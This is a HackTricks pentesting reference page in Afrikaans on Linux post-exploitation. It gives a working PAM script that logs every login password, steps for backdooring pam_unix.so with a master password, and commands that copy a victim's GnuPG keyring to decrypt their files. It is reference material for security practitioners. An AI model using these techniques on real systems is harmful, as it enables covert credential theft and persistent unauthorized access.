Linux Post-Exploitation
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Sniffing Logon Passwords with PAM
Laat ons 'n PAM-module konfigureer om elke wagwoord wat 'n gebruiker gebruik om aan te meld te log. As jy nie weet wat PAM is nie, kyk:
PAM - Pluggable Authentication Modules
For further details check the original post. This is just a summary:
Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
Capturing Credentials:
- 'n bash script met die naam
toomanysecrets.shword geskryf om aanmeldpogings te log, en vang die datum, gebruikersnaam ($PAM_USER), wagwoord (via stdin), en afgeleë gasheer-IP ($PAM_RHOST) na/var/log/toomanysecrets.log. - Die script word uitvoerbaar gemaak en geïntegreer in die PAM-konfigurasie (
common-auth) deur diepam_exec.somodule te gebruik met opsies om stil te loop en die authentication token aan die script bloot te stel. - Die benadering demonstreer hoe 'n gekompromitteerde Linux-host uitgebuit kan word om kredensiale diskreet te log.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Vir verdere besonderhede kyk na die original post. Dit is net 'n samevatting:
Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruikersverifikasie. Dit werk op drie hoofkonsepte: gebruikersnaam, wagwoord, en diens. Konfigurasielêers vir elke diens is geleë in die /etc/pam.d/ gids, waar gedeelde biblioteke verifikasie hanteer.
Doelwit: Pas PAM aan sodat verifikasie moontlik is met 'n spesifieke wagwoord, en sodoende die werklike gebruikerswagwoord omseil. Dit fokus veral op die gedeelde biblioteek pam_unix.so wat deur die common-auth lêer gebruik word, en wat by byna alle dienste ingesluit is vir wagwoordverifikasie.
Stappe om pam_unix.so te wysig:
- Vind die verifikasie-direktief in die
common-authlêer:
- Die reël wat verantwoordelik is om 'n gebruiker se wagwoord te kontroleer, roep
pam_unix.soaan.
- Wysig bronkode:
- Voeg 'n voorwaardelike stelling by in die
pam_unix_auth.cbronlêer wat toegang verleen as 'n voorafbepaalde wagwoord gebruik word; anders gaan dit voort met die gewone verifikasieproses.
- Herkompileer en vervang die gemodifiseerde
pam_unix.sobiblioteek in die toepaslike gids. - Toetsing:
- Toegang word verleen oor verskeie dienste (login, ssh, sudo, su, screensaver) met die voorafbepaalde wagwoord, terwyl normale verifikasieprosesse onaangeraak bly.
tip
Jy kan hierdie proses outomatiseer met https://github.com/zephrax/linux-pam-backdoor
Ontsleuteling van GPG loot deur homedir-verplasing
Indien jy 'n geïnkripteerde .gpg lêer en 'n gebruiker se ~/.gnupg gids (pubring, private-keys, trustdb) vind, maar jy kan nie ontsleutel nie weens GnuPG homedir-permissies/slotte, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.
Tipiese foutmeldings wat jy sonder dit sal sien: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (omdat GPG nie die oorspronklike homedir kan lees/skryf nie).
Werkvloei:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
As die geheime sleutelmateriaal in private-keys-v1.d teenwoordig is, sal GPG ontsluit en decrypt sonder om vir 'n passphrase te vra (of dit sal vra as die sleutel beskerm is).
Verwysings
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks